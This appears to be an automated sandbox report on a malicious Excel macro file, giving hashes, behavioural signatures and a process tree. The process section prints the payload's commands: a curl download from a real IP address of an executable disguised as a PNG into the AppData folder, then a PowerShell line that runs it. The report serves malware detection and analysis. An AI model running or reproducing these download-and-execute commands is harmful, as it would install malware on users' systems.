Analysis
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max time kernel
147s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
27-02-2024 11:17
Behavioral task
behavioral1
Sample
a90431f9c45758117ead6bc503e2591d.xlsm
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
a90431f9c45758117ead6bc503e2591d.xlsm
Resource
win10v2004-20240226-en
General
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Target
a90431f9c45758117ead6bc503e2591d.xlsm
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Size
140KB
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MD5
a90431f9c45758117ead6bc503e2591d
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SHA1
91a5626d3571679461277d1125a98a6b236387da
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SHA256
33d2cd0f3b69219693cc3c0514afac9cbddd0de890107062afdc25102970bf53
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SHA512
3ab0376aed52fa7e792ee3309756a864bad624b62a546f665f2b4d44de7fbb8db409e5d4a7d476076be23d182b2730597a04761614fc050bb75eb140b8b9f4d9
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SSDEEP
1536:wJxSwIXUJksB977w3mv8fdwLmG9s80okHwjzjoki9cIyhGfaZWDCltHV:oUdkCS7k3XOmT/QzXIWGfaZW+lX
Malware Config
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exepowershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4656 700 cmd.exe EXCEL.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 5016 700 powershell.exe EXCEL.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 700 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 5016 powershell.exe 5016 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 5016 powershell.exe -
Suspicious use of SetWindowsHookEx 17 IoCs
Processes:
EXCEL.EXEpid process 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE 700 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 700 wrote to memory of 5016 700 EXCEL.EXE powershell.exe PID 700 wrote to memory of 5016 700 EXCEL.EXE powershell.exe PID 700 wrote to memory of 4656 700 EXCEL.EXE cmd.exe PID 700 wrote to memory of 4656 700 EXCEL.EXE cmd.exe PID 4656 wrote to memory of 3680 4656 cmd.exe curl.exe PID 4656 wrote to memory of 3680 4656 cmd.exe curl.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a90431f9c45758117ead6bc503e2591d.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:700 -
C:\Windows\SYSTEM32\cmd.execmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\QyZcY.exe2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4656 -
C:\Windows\system32\curl.execurl http://151.236.30.123/images/suntogether.png -o C:\Users\Admin\AppData\Roaming\QyZcY.exe3⤵PID:3680
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe start-sleep 10; $x=$env:AppData+'\QyZcY.exe';Invoke-Expression $x2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5016
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82